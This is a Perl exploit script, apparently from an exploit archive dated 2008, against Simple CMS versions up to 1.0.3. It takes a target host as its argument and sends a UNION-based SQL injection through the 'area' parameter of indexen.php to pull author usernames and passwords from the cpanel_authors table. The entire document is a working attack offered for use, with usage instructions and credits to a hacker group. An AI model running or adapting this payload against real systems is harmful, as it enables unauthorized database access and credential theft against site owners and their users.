Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

#!/usr/bin/perl # Simple CMS &#60;= 1.0.3 (?area=) Remote SQL Injection Exploit # Code by JosS # Contact: sys-project[at]hotmail.com # Spanish Hackers Team / Sys - Project # http://www.spanish-hackers.com # special thanks to ka0x print &#34;\t\t########################################################\n\n&#34;; print &#34;\t\t# Simple CMS &#60;= 1.0.3 Remote SQL Injection Exploit #\n\n&#34;; print &#34;\t\t# by JosS #\n\n&#34;; print &#34;\t\t########################################################\n\n&#34;; use strict; use LWP::UserAgent; my $victim = $ARGV[0]; if(!$ARGV[0]) { print &#34;\n[x] Simple CMS &#60;= 1.0.3 Remote SQL Injection Exploit\n&#34;; print &#34;[x] written by JosS - sys-project[at]hotmail.com\n&#34;; print &#34;[x] usage: perl xpl.pl [host]\n&#34;; print &#34;[x] example: http://localhost/path/\n\n&#34;; exit(1); } print &#34;\n[+] connecting in $victim...\n&#34;; my $cnx = LWP::UserAgent-&#62;new() or die; my $go=$cnx-&#62;get($victim.&#34;/indexen.php?area=-1+union+select+1,concat(0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f),3,4,5+from+cpanel_authors/*&#34;); if ($go-&#62;content =~ m/____(.*?)____/ms) { print &#34;$1\n&#34;; } else { print &#34;\n[-] exploit failed\n&#34;; } # milw0rm.com [2008-02-16]